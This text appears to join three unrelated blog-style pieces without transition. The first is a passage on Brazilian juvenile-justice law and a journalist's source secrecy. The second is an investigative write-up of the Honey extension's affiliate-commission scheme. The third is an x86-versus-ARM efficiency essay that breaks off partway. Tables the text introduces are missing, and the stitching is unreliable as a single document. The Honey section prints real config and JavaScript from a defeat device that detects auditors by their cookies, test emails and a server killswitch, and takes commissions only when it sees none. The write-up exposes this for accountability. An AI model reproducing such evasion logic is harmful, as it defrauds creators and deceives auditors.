The Naviraí group was made up of five teenagers aged 13 to 17 and one 18-year-old. The alleged leader is 14. Under Brazilian law, only the 18-year-old answers as an adult, for qualified homicide. The other five fall under the ECA regime — the classic one, not the digital one: socio-educational internment, with a three-year ceiling and compulsory release at 21. The case is sealed and we don’t know what measures were applied, but that’s the ceiling, no matter the cruelty. The intellectual mentor of the Suzano school massacre, with 10 dead, was 17 and was interned — three years, regardless of the body count.

And there’s a calendar irony: in February 2026 Brazil signed a law making online inducement to suicide and self-harm a heinous crime, with doubled penalties for group leaders. For adults. For the five Naviraí teenagers, investigated for exactly that, nothing changes: the ceiling is still the ECA’s three years.

It stays this way by choice, and not for lack of trying. In March 2026, the rapporteur of the Public Security constitutional amendment included a referendum on lowering the criminal age to 16; the government called the reduction “ineffective and unconstitutional” and the passage was stripped so the amendment could pass — approved 487 to 15 without a single line on the subject. In June, the Chamber’s Constitution and Justice Committee approved the admissibility of another reduction amendment, 44 to 18, but it still needs 308 votes in two plenary rounds — exactly the wall where the 2015 version died. Even the middle way stalls: the bill PL 1.473/2025, which would raise maximum internment from 3 to 5 years (10 for violent crimes), passed the Senate in October 2025 and has been sleeping in the Chamber ever since.

Meanwhile, organized crime does the math. Factions recruit teenagers on purpose, because they know the ECA shields the triggerman: in the faction attacks in Ceará, adults paid R$ 1,000 to R$ 5,000 per attack for teenagers to torch vehicles — the boss doesn’t expose himself, the executor doesn’t go to prison. The Naviraí group is the digital version of the same logic: a 14-year-old leader coordinating crimes that, committed by an adult, would mean decades in prison.

And Brazil has become an outlier even in its neighborhood. Argentina approved lowering the age from 16 to 14 in February. Sweden, of all countries, dropped to 13 for serious crimes starting in July — after gangs started recruiting children on Snapchat for attacks precisely because they couldn’t be prosecuted. England prosecutes from age 10 (though its own Bar Council wants to raise it to 14), most American states transfer 14-year-olds to criminal court for murder, Portugal at 16.

For the record, the other side exists: UNICEF came out against the reduction, and the recidivism data is uncomfortable for both sides — ~43% after internment, ~70% after regular prison. If we’re going to debate the model, let’s debate it. What doesn’t fly is the current result: a new law managed in six days to take offline a feature used by millions of innocent people, while the system that punishes the perpetrators hasn’t moved in thirty years. We punish the pipe because the pipe is what’s within reach.

Remember this: six days to sanction a platform used by millions of innocent people; thirty years without touching the ceiling for those who committed the crime.

Meanwhile, at the Supreme Court: source protection breached

If it were only Discord, you could call it a regulatory accident. But in the same week, another pillar fell.

Since November 2025, journalist Luís Pablo, from Maranhão, had been publishing reports about the use of an official car of the TJ-MA (Tribunal de Justiça do Maranhão, the Maranhão state court) by Supreme Court minister Flávio Dino and family members. In March, Alexandre de Moraes authorized a search and seizure against the journalist — in a decision that cited the fake news inquiry, which the Court’s press office later denied. Phones, a notebook, and a pen drive seized. In April, the equipment was returned, but the forensic analysis continued.

On August 11, the Federal Police served warrants against Raimundo Cutrim, Maranhão’s former security secretary — identified as the journalist’s source. How did they get to him? Through the analysis of the journalist’s seized devices.

See the mechanism? Article 5, XIV of the Constitution protects source secrecy, and the journalist can refuse to reveal it — as he did, staying silent in his deposition. So they didn’t ask. They seized his work material, read everything, and identified the source behind his back. Constitutional scholar Vera Chemin summed it up on CNN: “you cannot breach the secrecy first and then check whether a crime occurred.”

The Supreme Court itself has ruled this, more than once. In a 2019 constitutional case (ADPF 601), Gilmar Mendes protected Glenn Greenwald during Vaza Jato with a sentence that should be framed: source secrecy “prevents the State from using coercive measures to constrain professional activity and to rummage through the way in which what is brought to public knowledge is received and transmitted.” “Rummage through the way it is received” is literally what the forensic analysis of the devices did.

For the record, the Court’s defense exists and deserves to be presented: the investigation targets the illegal monitoring of a minister and his family, with license plates, security agents’ names, and clandestine images of children published; the Federal Police says Cutrim used his public office to access restricted systems; and there’s a R$ 100,000 transfer from a second suspect to the journalist, whose nature nobody has proven yet. The files are sealed, so neither version is verifiable from the outside. There may be a crime there. But that’s exactly why the order of operations matters: first you investigate by lawful means, then — maybe, in the most exceptional cases — you discuss exceptions. Reversing that order turns the exception into the method.

The reaction was the usual one, only louder: the press associations Abraji, ANJ and ABERT, the Inter American Press Association, and editorials from the country’s three biggest newspapers on the same day. Estadão wrote that the fake news inquiry “has been converted into an instrument of intimidation.” Miro Teixeira, the lawyer who struck down the dictatorship’s Press Law in 2009, said the Court is acting “momentarily as a tribunal of exception”.

Remember this: source secrecy wasn’t repealed, it was bypassed. Nobody coerced the journalist; they seized his devices and the source surfaced in the forensics. The guarantee still exists, but only on paper.

Conclusion: is Brazil becoming a censored country?

It’s the pattern that worries me, not the isolated episodes. In 2024, X spent a month offline in Brazil by monocratic order. In 2025, art. 19 of the Marco Civil fell and platform liability went proactive. In 2026, the Digital ECA Law handed the Executive a package of obligations so intrusive that, the first time it was used, it took down an encrypted feature nationwide — while the 14-year-old leader of the group that motivated the sanction faces, at most, three years of internment. And journalistic source secrecy was breached forensically, with the blessing of the same court that enshrined it.

Every rung of that ladder has a sympathetic justification, and that’s exactly why the ladder is dangerous. Nobody builds censorship infrastructure saying it’s for censorship. You build it to protect children, to protect ministers, to protect democracy.

The problem is that infrastructure has no moral owner. The ruler that measures Discord today measures any app tomorrow. The enforcement that demands plaintext streams today to protect Lívia will demand plaintext for whatever the government of the day wants to see. The source breach that catches the Dino case’s source today catches any source, in any case, against anyone.

And the week’s most revealing detail: of the two platforms the Ministry of Justice asked to investigate, the sanctioned one is the one with an office, a tax ID, and lawyers in Brazil — the one that cooperates. The message the regulator sent the market is inverted: cooperating exposes you; being opaque protects you. The teenagers from the Naviraí neo-Nazi group aren’t going anywhere — they’re going to Telegram, which nobody touched.

And there’s the most Brazilian trait of all in this arrangement: it became impossible to be on the right side of the law. If you truly protect your users with end-to-end encryption, you violate the Digital ECA Law. If you comply with the Digital ECA Law, you open up your users’ data and violate the LGPD. If you collect IDs for age verification, you become a leak target and a sanction target; if you don’t collect, you become an enforcement target. There is no safe configuration.

And that’s a tradition of ours: laws so broad, with so many stacked exceptions, that anyone becomes an offender by accident on any street corner. When everyone is always in violation, the law stops being a rule and becomes an option — real power migrates to whoever chooses whom to apply it against. That’s what happened this week: two platforms investigated, one punished. The one with a local address.

Protecting children is a non-negotiable civilizational duty. Investigating crimes against a minister is the State’s obligation. The question that remains isn’t whether those causes are legitimate — they are. It’s whether Brazil can still pursue legitimate causes without demolishing the guarantees that make the country a liberal democracy: real privacy, functional encryption, a press with protected sources. This week, the answer was no three times in a row.

It’s not regime censorship. In a way it’s worse: it’s censorship by accumulation, voted, signed, and applauded, every brick carrying a little plaque of good intentions. And you only notice the wall when it’s already around you.

Now imagine finding out that one of your sponsors was planted at your viewers’ checkout, swapping your tag for theirs and pocketing those commissions. Millions of times. For years.

That’s what MegaLag showed in December 2024, exposing the practices of Honey, the coupon extension PayPal bought for $4 billion that promised to “find every coupon code on the internet” for you. I’ve followed his channel since that video and became an instant fan: this is technical journalism with live demos, code, and packet captures, not just loud accusations.

A year and a half later, the story has only gotten thicker: PayPal tried to dismiss it all as fake news, MegaLag came back with irrefutable technical evidence, Rakuten and other affiliate networks publicly cut Honey off, and the whole thing became a class action that just survived a motion to dismiss.

The video timeline, since these are the primary sources for this article:

1. Exposing the Honey Influencer Scam, December 21, 2024
2. Exposing Honey’s Evil Business Model (PART 2), December 22, 2025
3. The Honey Scam is Worse Than I Thought, December 30, 2025
4. Honey Gets Terminated as Lawsuits Proceed, August 11, 2026 (yesterday)

I’m telling this story in three acts: the last-click trick against creators, the extortion model against stores, and the defeat device that fooled the networks’ auditors. The technical core, the part that matters to us developers, is in the third act. But without the first two it makes no sense.

What Honey was supposed to be

The consumer pitch was irresistible: a free extension that, right at checkout, tries every known coupon code and applies the best one to your cart. “It’s literally free money.” And no, they swore, they didn’t sell your data.

For content creators, Honey was a generous sponsor. MegaLag mapped roughly 5,000 sponsored videos across more than 1,000 channels, adding up to nearly 8 billion views. MrBeast was the first big name, and former Honey president Joanne Bradford bragged: “every kid in America knows what Honey is.”

Creators got easy money for recommending a tool that seemed useful. The irony, which the first video exposes in exquisite detail: those same creators were installing on their audiences, the audiences most likely to click their affiliate links, the tool that was stealing those very commissions.

For stores and marketplaces, Honey sold itself as a conversion tool: less cart abandonment, higher average order value. And there was an extra, shadier pitch, right in the partner FAQ and on Honey’s own podcast: the store controlled which coupons went live. So the consumer story was “we find every code,” while the merchant story was “you keep consumers from finding your good codes.” Both stories were official.

Affiliate marketing in 30 seconds

To understand the crime, you need to understand the victim. Affiliate marketing works like this: a creator posts a link with a tracking tag (like ?tag=shortcircuit on a Newegg link). You click, the store drops a cookie good for about 30 days, and if you buy anything in that window, the commission goes to whoever generated that click.

MegaLag has a good analogy for this: it’s like the department-store salesman who helps you, hands you a referral card with his name on it, and the cashier knows whose sale it was. The affiliate cookie is the digital version of that card.

The industry standard is last-click attribution: the last click takes everything. Not the fairest system in the world, but the simplest to implement. And here’s where the trouble lives: whoever shows up in the final second before payment always wins. And who shows up in the final second? A browser extension that wakes up exactly on the checkout screen. It’s as if a second salesman, one who never helped you at all, snatched the card from your hand in the checkout line and handed over his own instead.

What Honey actually did

The first video documents the scenarios, all variations on the same trick:

• The coupon popup: you click “apply discounts,” Honey opens a tiny hidden tab that simulates an affiliate click with PayPal’s tag, then closes itself. Your creator’s cookie gets overwritten. Commission stolen, even when Honey finds no coupon at all.
• Honey Gold: when there’s no coupon, up pops an offer for cashback points. Click it, same thing: last click, PayPal’s commission.
• The empty popup: no coupon, no cashback, Honey still pops up so you’ll click “got it.” Clicked to dismiss? Too late, the click counted.
• The PayPal button: at a checkout that already offers PayPal, Honey shows a “check out with PayPal” button. Any excuse works to grab that last click.

MegaLag’s NordVPN experiment makes it concrete: a 40% commission program. Two purchases made through his own affiliate link. Without Honey: $35 in commission. With Honey Gold activated: $0. His cut, as the “consumer,” of the loot stolen from himself? 89 points, or 89 cents. Honey kept 97.5% of what was rightfully his.

Remember this: even when you click the creator’s affiliate link, the commission goes to PayPal if Honey shows up at checkout. In the NordVPN test, out of $35 in commission, the “benefit” left for the user was 89 cents.

And this was no hypothesis, it was happening at industrial scale. The first video’s central example uses Linus Tech Tips’ affiliate tag on Newegg: Linus Media Group promoted Honey for years, across something like 160 sponsored segments, and ended the partnership in 2022 after noticing Honey overwrote their affiliate link even when it found no discount at all. Notice the demographic trap: whoever installs a coupon extension is exactly the viewer who hunts prices and clicks affiliate links. Honey paid the sponsorship once and went on taxing the creator’s future commissions forever.

So far, the victim was the creator. The second video shows the other side of the counter: the stores.

The business model against the stores

The extension’s supported domains file listed over 180,000 stores, against “30,000 participating” in the marketing. The spreadsheet analysis (a developer crawled the whole thing and published it) showed 146,000 stores with no relationship at all, included presumably without consent.

There’s more: a coupon typed manually at checkout was sent to Honey’s servers before asking for consent. And private codes leaked into the public database: military discounts, employee codes, a $75-off code with no minimum order that meant unlimited free merchandise.

The damage was measurable. One store owner reported a $100,000 loss after the exclusive code from the podcast he sponsored leaked into Honey’s database, and he only noticed months later, long after the podcast’s affiliate commission had evaporated. Chip, the CEO of Made In Cookware, summed up the effect: “if Honey is going to take 10% of your revenue all the time, at the end of the day you’re forced to raise prices.”

And when a store owner asked to be removed, the official answer was “we typically do not remove codes unless we have a working relationship,” which MegaLag accurately calls economic extortion: stores don’t pay to get in, they pay to get out.

Stand down: the rule Honey pretended to follow

Against all of this, PayPal’s defense was always the same: “Honey follows industry rules and practices, including last-click attribution.” A clever rhetorical exit, because you can argue about whether last-click is fair. What comes next is different in nature: proof that Honey knew it was in the wrong and built a system to avoid getting caught.

Some context first. Affiliate networks (Rakuten Advertising, CJ, Impact, Awin) have known since 2002 that browser extensions are natural parasites in this ecosystem. So they created a contractual rule called stand down: if the user already arrived at the store through another affiliate’s link, the extension must deactivate itself and not interfere. Period. It’s written into the contracts. Rakuten’s policy, for instance, says the publisher must “stand down and not display any forms of sliders or pop-ups” when another affiliate has already referred the user, and “must not force clicks or cookie stuff.”

And Honey complied. Technically. When tested.

Which brings us to the heart of the third video, what MegaLag calls Cookie Gate, and his analogy is exact: Volkswagen’s Dieselgate. VW programmed its cars to lower emissions only during lab tests. Honey programmed its extension to respect stand down only when it detected the user was probably an auditor.

Remember this: stand down has been a contractual obligation since 2002, not a courtesy. If the user arrived at the store through another affiliate’s link, the extension must back off. Honey backed off only when the user smelled like an auditor.

The evidence: ssd.json, line by line

After PayPal bought Honey, the extension was rewritten and the rules started arriving in plain text from a server. That let MegaLag expose the entire mechanism, and let Ben Edelman, the security researcher who worked the eBay affiliate-fraud case in the 2000s, verify all of it independently (his full analysis here).

First architectural point: the stand-down rules live in the cloud, not in the extension. The extension fetches two JSON files from Honey’s servers and checks for updates every hour: standdown-rules.json (the normal rules) and ssd.json (the selective stand-down rules). Meaning: PayPal could change the behavior of ~14 million users within an hour, with no extension update, no Chrome Web Store review, no one watching.

Second: the normal rules were already a joke. The stand-down timer, how long Honey respects the original affiliate’s cookie, was 3,600 seconds. One hour. Clicked your favorite YouTuber’s link in the morning, bought in the afternoon, Honey could act again. And a 2023 Wayback Machine capture shows it was once 360 seconds. Six minutes. As MegaLag says, it takes him more than six minutes just to type in his credit card. No affiliate network defines any such expiry. Honey made one up.

Third, the main course. This is the ssd.json captured on October 22, 2025 (comments are mine):

{"ssd": {
  "base": {
    "gca": 1,      // check for affiliate console cookies
    "bl": 1,       // check the server-side blacklist
    "uP": 65000,   // minimum points to IGNORE stand down
    "adb": 26298469858850
  },
  // domains where "industry insider" cookies get checked:
  "affiliates": ["https://www.cj.com", "https://www.linkshare",
                 "https://www.rakuten.com", "https://ui.awin.com",
                 "https://www.swagbucks.com"],
  "LS": { "uP": 5001 },  // Rakuten exception (formerly LinkShare)
  "PAYPAL": { "uL": 1, "uP": 5000001, "adb": 26298469858850 }
  },
  "ex": {  // per-store exceptions (Honey internal IDs)
    "7555272277853494990": { "uP": 5001 },                         // TJ Maxx
    "7394089402903213168": { "uL": 1, "adb": 120000, "uP": 1001 }, // Booking.com
    "243862338372998182": { "uL": 0, "uP": 100000 },               // Kayo Sports
    // cookies to look for, in the SAME ORDER as the domains above:
    "GA": ["CONTID", "s_vi", "_ga", "networkGroup", "_gid"]
  }
}

How it works: when the extension detects you clicked an affiliate link, it consults these rules before deciding whether to honor stand down:

• uL (user logged in): you must be logged into a Honey account.
• uA (user account age): your account must be a minimum age, 30 days, in milliseconds, “for whatever reason,” as MegaLag notes. A brand-new account is the signature of someone testing the extension for an audit.
• uP (user points): you must have accumulated a minimum of cashback points. In the current config: 65,000 points. Since 1,000 points redeem for $10 in gift cards, that’s $650 in lifetime earnings, which rules out virtually every real user and certainly every auditor on a test account.
• bl (blacklist): the server can flag your ID, cookie, or IP (anyone who ever complained about Honey, say) and treat you as “high risk.”
• gca: the most incriminating of all, and it gets its own paragraph.

If you pass every filter, the system classifies you as a legitimate consumer and Honey ignores stand down and takes the commission. Fail any one, it classifies you as a possible auditor and Honey behaves impeccably. Edelman sums it up: “Honey stands down, but only sometimes. And the sometimes is predictable.” Deterministic, actually: same conditions, same result, reproducible.

The gca: checking your pockets for an inspector’s badge

The gca is the digital equivalent of patting you down for a regulator’s badge. The affiliates and GA lists are positionally paired: on the cj.com domain, look for the CONTID cookie; on linkshare, s_vi; on ui.awin.com, networkGroup. The code, recovered via sourceMappingURL from the iOS app that leaked practically unobfuscated:

m = p.ex && p.ex.GA || []
g = i().map(p.ssd && p.ssd.affiliates, (function(e) {
    return f += 1, u.A.get({
        name: m[f], // cookie name from the GA array
        url: e      // domain to check
    }).then((function(e) {
        e && (o.gca = 0) // cookie found: gca = 0, enter compliance mode
    }))

If you carry a login cookie from the CJ, Rakuten, or Awin affiliate dashboards, that is, if you work in the industry, Honey honors stand down on everything, always, no matter the link. MegaLag discovered this by accident while testing his own extension (Cookie Guard): he logged into his CJ affiliate account in another tab, and suddenly Honey turned into an angel.

And notice the cynical design detail: domains and cookie names sit in two separate lists instead of name-value pairs. As Edelman points out, the effect is to make the relationship between them harder to spot for anyone skimming the file.

Edelman is categorical about what this means: there is no legitimate reason for a coupon extension to check whether you logged into an affiliate dashboard. The only function is hiding from the people who enforce the rules. And whoever hides knows they’re doing something prohibited.

The other tricks: the “test” email, the killswitch, and eBay

Two more gems in the code. The extension scans your email address for the word “test”. Found it, compliance mode:

if (r.email && r.email.match("test") && (o.bl = 0), !r.isLoggedIn || t) {

And there’s a master killswitch on the server: the extension periodically fetches a URL, and depending on the response the entire SSD system turns on or off:

return e.next = 7, fetch("".concat("https://s.joinhoney.com", "/ck/alive"));

c = S().then((function(e) {
    e && "alive" === e.is && (o.bl = 0)
}))

One flip on the server and 14 million extensions go into compliance mode instantly. Handy, say, on the day a big audit gets announced.

And eBay? eBay gets VIP treatment, straight in the code: while normal stand down lasts one hour, eBay’s lasts 86,400 seconds (24 hours), and the SSD logic is explicitly disabled for eBay domains:

"regex": "^https?\\:\\/\\/rover\\.ebay((?![\\?\\&]pub=5575133559).)*$",
"provider": "LS",
"overrideBl": true,
"ttl": 86400

a = "ssd" === r && !/ebay/.test(p);

Why? Because in 2008 eBay brought civil and criminal charges against its two biggest affiliates, Shawn Hogan and Brian Dunning, who collected over $20 million in 18 months running cookie-stuffing schemes, and both went to jail. Edelman himself helped catch them. Honey knew exactly who not to mess with. The rest of the market, apparently, was fair game.

Telemetry: the evidence that documents itself

The part that made my jaw drop: from day one, the defeat device logged every decision it made. When the extension decides to honor stand down, it sends telemetry with "method":"suspend" and a state saying exactly which rule fired, "uP:5001", "gca", "ssd", along with the original affiliate link, which frequently contains the stiffed affiliate’s ID and sometimes their name.

Somewhere on PayPal’s servers sits a detailed record of every commission this system helped steal. MegaLag closes the fourth video urging the networks to demand that data and claw the money back. Hard to argue with that.

How MegaLag proved it on the public extension

One bit of engineering that deserves respect. After the first video, PayPal raised the base threshold to 65,000 points, effectively switching the mechanism off for nearly everyone and narrowing the sketchy behavior. Except whoever edited the ssd.json forgot the Rakuten exception: "LS": {"uP": 5001}.

MegaLag went on what he calls a “painfully expensive shopping spree” until he crossed 5,000 points, and reproduced the fraud on the public extension, untouched, without modifying a single line. (Edelman did it the easy way: he intercepted the server’s response with Fiddler and lied about his own points balance. His code is in the article linked above.)

The PayPal rewrite

The system’s genealogy, reconstructed by MegaLag from ~300 archived extension builds going back to 2014:

• October 2017: the SSD first appears, in version 10.5.2, still under founders Ryan Hudson and George Ruan, but encrypted, scrambled, unreadable to anyone who stumbled on it. Researcher Wladimir Palant had already documented in 2020 that Honey concealed chunks of its own code.
• March 2021: under PayPal, version 13.1.0, the entire system was rebuilt. The rules were restructured into a new format and started living in plain text on PayPal’s servers. That careless rewrite is what exposed everything.

Hold that thought and compare it with PayPal’s official statement after the roof caved in:

“The code causing this behavior has been identified and no longer has an impact. The code was implemented prior to PayPal’s acquisition and appears to affect less than 0.1% of Honey’s traffic.”

— PayPal to Hello Partner, January 2026

MegaLag calls that what it is: a lie. You don’t rebuild a system from scratch, tune its rules year after year, and then claim you had no idea it existed.

The timeline gives it away: MegaLag asked PayPal for comment on December 18, 2025; they called the accusations “not accurate” and sent the lawyers after him. Rakuten cut Honey from its network on January 12, 2026. The defeat device was deactivated on January 13, one day later, almost a month after the warning. And “0.1% of traffic” is empty rhetoric: the rules live on the server, so the targeting was always remotely tunable. Under the 2023 rules, the target was practically everyone.

The fallout

After Cookie Gate, things moved:

• Rakuten Advertising (January 12, 2026): terminated Honey from the entire network, more than 2,000 stores, including Walmart, Lego, Sephora, Newegg, Uniqlo, and Samsung. The sordid detail: internal emails that surfaced in the litigation show Rakuten knew about stand-down violations as early as July 2020 and kept Honey anyway, and PayPal even replied that Rakuten’s stand-down policies were “overreach.” In May 2026 Rakuten quietly let Honey back in, after publishing an open-source stand-down SDK that Honey implemented.
• Impact (January 16): removed Honey from its discovery marketplace and suspended the account, confirming a breach of “universal stand-down requirements.”
• Awin (January 21): the biggest network affected, with over 16,000 merchants. Confirmed “breaches of our publisher policies,” suspended payments, and imposed a remediation plan that includes giving the networks access to Honey’s source code.
• Google: in March 2025 the Chrome Web Store started requiring a “direct and transparent user benefit” for any extension injecting affiliate links. Honey’s workaround was switching on 0.1% to 1% cashback at nearly every partner store. Technically a benefit, practically loose change.
• The market responded: Honey lost about 7 million users (from 20 million to 14), over 7,000 stores (from ~35,000 to ~28,000), and the coupon database shrank from ~90,000 to ~50,000 codes. Apple, which alone generated more monetizable traffic than the bottom 27,000 stores combined, walked.

The class action

Here’s where David meets Goliath in court. Days after the first video, on December 29, 2024, Wendover Productions (Sam Denby’s company) filed the first suit; Devin Stone of LegalEagle, an actual attorney, organized the effort, and some twenty firms filed similar complaints across several states, with GamersNexus as lead plaintiff in one of them. The cases were consolidated in the Northern District of California: In re PayPal Honey Browser Extension Litigation, case 5:24-cv-09470-BLF, Judge Beth Labson Freeman.

The claims in the current complaint: unjust enrichment, intentional interference with contractual relations and with prospective economic advantage, violations of the Computer Fraud and Abuse Act (the American anti-hacking law), California’s computer data access and fraud statute, and the unfair competition laws of California and Washington.

The procedural timeline is a soap opera:

• November 2025: PayPal tried to force arbitration and lost. Weeks later, Judge Freeman dismissed the first complaint, with leave to amend, because the affiliate contracts were with the merchants, not PayPal, and the Monte Carlo simulation the plaintiffs used to estimate damages didn’t persuade her. Ryan Hudson tweeted “Case dismissed” and did a little victory lap. Hello Partner, the industry trade publication that had Honey as premier sponsor of its flagship conference, rushed out a piece on “what MegaLag got wrong.”
• January 2026: the second complaint arrived at 101 pages, ten named plaintiffs, the actual merchant contracts, test-purchase evidence and, crucially, the Cookie Gate findings baked in. Page 65 describes the defeat device in detail: “PayPal devised several methods to ignore or circumvent stand down protocols,” including detecting visits to affiliate network websites, which the complaint calls “arguably the most glaring reveal of PayPal’s bad intent.”
• June 4, 2026: second hearing. The judge warned PayPal’s attorney, Richard Jacobson, the same lawyer who signed the cease-and-desist against MegaLag, that he had “an uphill battle.” When the defense argued that affiliate IDs are “just short strings of numbers and letters” with no intrinsic value, the judge replied that you could say the same thing about a dollar bill. Jacobson: “I don’t know how to respond to that.”
• June 22, 2026: the motion to dismiss was denied in full. Every claim survived. The case now moves into discovery: internal documents, communications, depositions, possibly of the founders and PayPal’s own engineers. Trial, if it happens, late 2027. MegaLag’s guess, and mine too: PayPal will try to settle to bury those depositions.

Worth noting: a parallel UK consumer suit over the misleading “best coupons” advertising was dismissed in June 2026. And Capital One Shopping, sued over a similar scheme, settled in September 2025 denying liability.

Conclusion

What gets me about this whole story is PayPal’s behavior at every step. Accused with video and live demonstrations, they called it fake news. Confronted with the code, they sent a cease-and-desist and tried to get the video pulled from Patreon with a copyright claim. Formally alerted about the defeat device, they called it “not accurate” and waited for Rakuten to act before switching it off. Caught, they announced they’d “recently discovered” a system the company itself rebuilt in 2021.

At every rung, the choice was deny, threaten, minimize, until the evidence made the position untenable; then retreat half a step pretending surprise.

Honey, as a product, is a lost cause. Even if you don’t care about the ethics of skimming creators’ commissions, remember what Amazon warned back in 2020: this is an extension with permission to read and modify your data on any website, one that scans your cookies, logs your browsing history with geolocation, and applied knowingly expired coupons just to keep the numbers up. Uninstall it. No coupon is worth that.

And there’s an inspiring side to this: one motivated developer from New Zealand, armed with a packet sniffer, a test account, and patience, did what billion-dollar networks with compliance teams couldn’t do in eight years. His weapon was a plain-text JSON file and a few dozen lines of JavaScript that PayPal itself served to anyone who bothered to look. The line that closes the fourth video sums up the arrogance he brought down:

“When I’m wrong, I’m MegaLag. When I’m right, I’m just an industry commentator.”

Well, now he’s a de facto technical witness in a federal case. David won this round. And it was beautiful to watch.

My thesis: that was true generations ago, when decoding x86 cost a relevant slice of the die. Today x86 is, in practice, a translation layer into micro-instructions — and what separates Apple, Qualcomm, and Intel was never the instruction set. Intel’s crisis was managerial and manufacturing, not architectural. Which is exactly why its comeback, now, makes sense.

What the reviews show

The Panther Lake laptops (Core Ultra series 3, launched at CES on January 5 and on sale since January 27) deliver numbers the Meteor/Arrow Lake era couldn’t dream of. Starting with battery — Dell XPS 14 2026 (Core Ultra X7 358H) versus MacBook Air 15 (M5):

The honest reading: in light use, the Dell ties or wins; under sustained load, Apple remains unbeatable. And DHH posted that his XPS 14 running Omarchy Linux gets over 16 hours of real use, with a 1.4W idle draw — Dell made a point of day-one Linux support.

On CPU, the flagship Core Ultra X9 388H against the M5 (Notebookcheck data):

Single-core remains Apple’s territory — it does the same work on a third of the energy. But in moderate multi-core, Intel caught up. Against AMD (Ryzen AI 9 465) the 388H wins across the board; against the first-gen Snapdragon X Elite too; the X2 Elite Extreme, which arrived in 2026, already handed the Windows CPU crown back to Qualcomm (+24% in single-core). Honesty above all.

On GPU, the verdict is more mixed than Intel’s marketing suggests:

Ars Technica’s summary is the fairest: “Intel’s best laptop CPU in a very long time” — with the caveat that Intel must prove this is the new normal, not an aberration.

Remember this: MacBook battery life in an x86 laptop happened — in light use. In single-core and under heavy load, Apple still sets the pace.

The belief: “to be efficient you have to be ARM”

Every programmer has heard the explanation: ARM has a simple, fixed-length, elegant instruction set. x86 is a chimera accumulated since 1978, with variable-length instructions, real mode, segmentation, decades of mess. “Therefore” ARM is inherently more efficient, and the way for anyone to reach Apple- or Qualcomm-class efficiency is to move to ARM64.

There’s truth in there: x86 does carry historical baggage, and decoding variable-length instructions is objectively more annoying than decoding fixed 32-bit ones. The error is in the conclusion. That difference mattered when decode logic occupied a significant fraction of the chip. That was a long time ago.

Remember this: the ISA difference mattered when decoding occupied a relevant fraction of the die. That ended generations ago.

x86 became a translation layer in 1995

The Pentium Pro, from November 1995, already didn’t execute x86 directly: it translated each CISC instruction into internal RISC-like micro-operations and executed those. AMD did the same with the K5 in 1996 (its “ROPs”). In other words: for thirty years, “executing x86” has meant “translate it into something else and execute the something else.” x86 is a compatibility interface, a translation layer over a RISC engine. And the numbers show how cheap that layer became:

When the micro-op cache hits, the fetch and decode hardware is literally switched off. The Hirki study’s conclusion is dry: “the x86-64 instruction set is not a major hindrance in producing an energy-efficient processor.” And the definitive academic study — Blem, Menon, and Sankaralingam, HPCA 2013, actually measuring ARM against x86 — concluded: instruction count and mix are ISA-independent to first order, performance differences come from microarchitecture, and “the energy consumption is again ISA-independent.”

Jim Keller — the guy who designed AMD’s Zen and Apple’s A4/A5 chips, someone who has lived on both sides — put it even more bluntly in an AnandTech interview: variable-length decode “isn’t dominating the die, so it doesn’t matter that much.” What limits performance today, in his words, is branch predictability and data locality.

And here’s the detail that kills the myth for good: modern ARM does the same thing. The Cortex-A77 has a micro-op cache. Samsung added one to the Exynos M5 explicitly to save fetch and decode power. Fujitsu’s A64FX — the ARM inside the Fugaku supercomputer — decodes the SVE FADDA instruction into 63 micro-ops. Sixty-three. The fantasy of “ARM is one instruction per cycle, simple and pure” hasn’t existed in any high-performance ARM for a long time.

One honest nuance before moving on: x86’s variable length really does make very wide decoders harder to build — Apple decodes up to twice as many instructions per cycle as an x86. That’s a real engineering difficulty. But you pay for it in logic area, which is cheap, not in consumption proportional to the work — which is what defines battery life.

Remember this: for thirty years, no x86 has executed x86 — everything becomes RISC-style micro-ops. The ISA became a compatibility interface.

The transistor math

To understand why the decode burden evaporated, look at the evolution:

In 2000, every block of logic was a tight budget, and x86’s mess was expensive. As transistors became infinite for all practical purposes, the decoder’s fixed cost became pocket change. Along the way, two important shifts:

• Dennard scaling died around 2005. Leakage current stopped clocks from climbing, Intel canceled Tejas in 2004, and the world went multicore. Clocks stalled in the 1-4GHz range and never left.
• Moore’s law became economics, not physics. Cost per transistor stopped falling at 28nm: a leading-edge fab today costs US$20 to 30 billion, and an ASML High-NA EUV machine costs US$350 million.

And what occupies die and consumes energy in a modern chip? Giant caches, branch predictors, dozens of execution ports, GPU, NPU, media engines. The x86 decoder doesn’t even show up in the bread line.

And history hands us the perfect empirical proof: from 2015 to 2021, Intel was stuck at 14nm — Skylake and its derivatives, six years of stagnant process from manufacturing failure. Even so, those old 14nm cores traded blows with AMD’s Zen 2, built on TSMC 7nm. If x86 were the problem, that would be impossible. The bottleneck was the fab. It was the fab all along.

Remember this: six years stuck at 14nm, and Intel still competed with TSMC 7nm chips. The bottleneck was the fab, never the ISA.

What actually makes Apple efficient

The M1 isn’t efficient “because it’s ARM.” Apple has held an ARM architectural license since the A6, in 2012: it designs its own cores from scratch, and only the instruction set is ARM’s. When AnandTech dissected the M1’s Firestorm core, the contrast with contemporary x86 was about engineering choices, not instructions:

In practice: twice the decode width, nearly twice the reorder buffer, six times the instruction cache. Add unified memory soldered into the package and a cutting-edge TSMC process. That’s aggressive microarchitecture, enormous caches, vertical integration, and a leading-edge process — all expensive, all deliberate, and none of it comes free with the ISA.

The reciprocal is also true, by the way: you can make bad ARM. The market is full of mediocre ARM. Efficiency is an engineering and process choice, not an ISA birth certificate.

Remember this: the M1 is efficient because of microarchitecture, cache, process, and vertical integration — not “because it’s ARM.”

Your favorite instructions aren’t x86 or ARM

And there’s something else almost nobody mentions in this debate: much of what a modern CPU executes doesn’t belong to either side’s “classic” instruction set. Look at what runs outside it:

• Video. On Intel, decoding lives in Quick Sync, fixed-function hardware that has existed since Sandy Bridge — a separate block with nothing to do with the x86 legacy. It’s because of it that Frandroid measured the Snapdragon X2 58% slower than Panther Lake in video export.
• Cryptography. AES-NI exists since 2010, SHA extensions since 2016 — dedicated instructions added decades after the “old x86.”
• AI and matrices. AVX-512, then AVX10, and AMX, a matrix tile accelerator. The ARM side has the equivalents: NEON, SVE, SME.

Chips and Cheese ran the perfect experiment: in the same 4K HEVC encode, an Ampere ARM took more than twelve times as long as a Zen 2 with stock ffmpeg; using NEON assembly cut the ARM time by more than 60%. The difference was never ARM versus x86 — it was well-used vector extensions versus ignored vector extensions. In the real world, the heavy lifting lives in the extensions and accelerators, and those are orthogonal to the base ISA.

Remember this: modern heavy lifting — video, crypto, AI — runs on dedicated extensions and accelerators, orthogonal to the base ISA.

The fall was managerial, not architectural

